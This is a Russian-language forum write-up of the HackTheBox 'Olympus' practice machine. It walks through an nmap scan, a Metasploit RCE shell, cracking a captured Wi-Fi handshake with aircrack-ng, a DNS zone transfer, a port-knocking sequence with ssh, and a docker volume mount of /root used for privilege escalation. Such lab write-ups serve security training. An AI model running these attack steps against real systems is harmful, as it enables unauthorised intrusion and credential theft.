CTF Writeup Olympus. HackTheBox.

N

n01n02h

Screenshot_2018-09-22 giphy mp4.png

Всем привет!
Читал вчера чатик, и там какой тип предлагал писать writeup на HTB, вот я и подрезал идейку, хотя я предлагал еще полгода назад)​

Writeup на тачку Olympus, через несколько часов она улетает в архив)

Olympus1.png


Тачка на линуксе, сложность средняя.
Сканируем:
Код:
n01:~/ $ nmap -Pn -sV -sC --top-ports 1000 -T4 10.10.10.83                                                                                                 
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 11:07 EDT
Nmap scan report for 10.10.10.83
Host is up (0.37s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
53/tcp   open     domain  (unknown banner: Bind)
| dns-nsid:
|_  bind.version: Bind
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|     bind
|_    Bind
80/tcp   open     http?
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-City of olympia
| ssh-hostkey:
|   2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
|   256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_  256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the
following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.70%I=7%D=9/19%Time=5BA26686%P=x86_64-unknown-linux-gnu%r
SF:(DNSVersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07vers
SF:ion\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0
SF:\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.70%I=7%D=9/19%Time=5BA26681%P=x86_64-unknown-linux-gnu
SF:%r(NULL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\r\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 300.19 seconds

Сканером Nikto смотрит веб сервер и находим узявимый к RCE

Заюзаем метасплоит для получения шелла.
Olympus2.png


Получив шелл и осмотревшись, погуляв по директориям, находим 2 файла

Olympus3.png

Рассшифровываем captured.cap
Код:
aircrack-ng -w SecLists/wordlists/rockyou.txt captured.cap
Через 15-20 минут получаем ESSID Too_cl0se_to_th3_Sun и ключ flightoficarus Далее методом “научного тыка” получаем ssh имя пользователя icarus и пароль Too_cl0se_to_th3_Sun

Подключившись видим в домашней директории файл “Помощь Богов”

Olympus4.png

Понимаем что нам надо дигернуть домен

Код:
n01:~/ $ dig AXFR ctfolympus.htb @10.10.10.83                           

; <<>> DiG 9.13.2 <<>> AXFR ctfolympus.htb @10.10.10.83
;; global options: +cmd
ctfolympus.htb.        86400    IN    SOA    ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301
21600 3600 604800 86400

ctfolympus.htb.        86400    IN    TXT    "prometheus, open a temporal portal to Hades
(3456 8234 62431) and St34l_th3_F1re!"

ctfolympus.htb.        86400    IN    A    192.168.0.120
ctfolympus.htb.        86400    IN    NS    ns1.ctfolympus.htb.
ctfolympus.htb.        86400    IN    NS    ns2.ctfolympus.htb.
ctfolympus.htb.        86400    IN    MX    10 mail.ctfolympus.htb.
crete.ctfolympus.htb.    86400    IN    CNAME    ctfolympus.htb.
hades.ctfolympus.htb.    86400    IN    CNAME    ctfolympus.htb.
mail.ctfolympus.htb.    86400    IN    A    192.168.0.120
ns1.ctfolympus.htb.    86400    IN    A    192.168.0.120
ns2.ctfolympus.htb.    86400    IN    A    192.168.0.120
rhodes.ctfolympus.htb.    86400    IN    CNAME    ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN    TXT    "Here lies the great Colossus of Rhodes"
www.ctfolympus.htb.    86400    IN    CNAME    ctfolympus.htb.
ctfolympus.htb.        86400    IN    SOA    ns1.ctfolympus.htb. ns2.ctfolympus.htb.
2018042301 21600 3600 604800 86400

;; Query time: 50 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Ср сен 19 12:41:18 EDT 2018
;; XFR size: 15 records (messages 1, bytes 475)

Получаем как бы подсказку, что бы открыть портал юзеру prometheus надо постучатся в три порта (port knocking) и использовать пароль St34l_th3_F1re!
Делаем длинную команду (можно написать баш скрипт, разница не велика), подключаемся и забираем флаг юзера
Код:
for x in 3456 8234 62431; do nmap -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.83 && sleep 1; done && ssh prometheus@10.10.10.83

Olympus5.png


Мы в докере. Флаг рут мы получаем примонтировав папку root в наш контейнер

Olympus6.png

Код:
docker run -v /root:/root -i -t olympia /bin/bash

P.S.
Есть второй вариант получения корневого флага, можно сгенерировать payload в метасплоите, закинуть на хост и потом воспользоватся модулем


OlympusUser.png
OlympusRoot.png

Вот как бы и все!
16736
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!